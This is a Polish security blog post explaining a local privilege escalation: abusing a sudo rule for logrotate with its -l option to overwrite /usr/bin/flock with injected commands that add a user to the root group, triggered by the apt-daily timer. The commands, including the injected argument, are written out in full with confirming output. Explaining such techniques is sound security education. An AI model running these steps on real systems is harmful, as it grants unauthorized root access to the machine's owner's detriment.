Uciekając z sudo – część piąta

nfsec.pl 1 rok temu

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, iż w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, iż jeżeli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate dzięki poleceń:

sudo logrotate -l /etc/cron.daily/man-db \ '2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0; : No such file or directory Reading state from file: /var/lib/logrotate/status Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, iż wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) /etc/cron.daily/man-db: run-parts: failed to exec /etc/cron.daily/man-db: Exec format error run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running. if [ -d /run/systemd/system ]; then exit 0 fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers NEXT Wed 2023-10-04 00:30:28 CEST LEFT 9min 2s left LAST Tue 2023-07-04 18:02:24 CEST PASSED 2 months 30 days ago UNIT apt-daily.timer ACTIVATES apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service ExecStartPre=-/usr/lib/apt/apt-helper wait-online ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. jeżeli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update + '[' update = lock_is_held ']' ++ apt-config shell StateDir Dir::State/d + eval 'StateDir='\''/var/lib/apt/'\''' ++ StateDir=/var/lib/apt/ + exec /usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied + flock -w 3600 3 flock: 3: Bad file descriptor + echo 'E: Could not acquire lock' E: Could not acquire lock + exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore sudo logrotate -l /usr/bin/flock \ '2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog Oct 4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully. Oct 4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time. root@darkstar:~# ls -al /tmp/Pwn3d -rw-r--r-- 1 root root 1 Oct 4 00:30 /tmp/Pwn3d root@darkstar:~# id agresor uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit 'sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Idź do oryginalnego materiału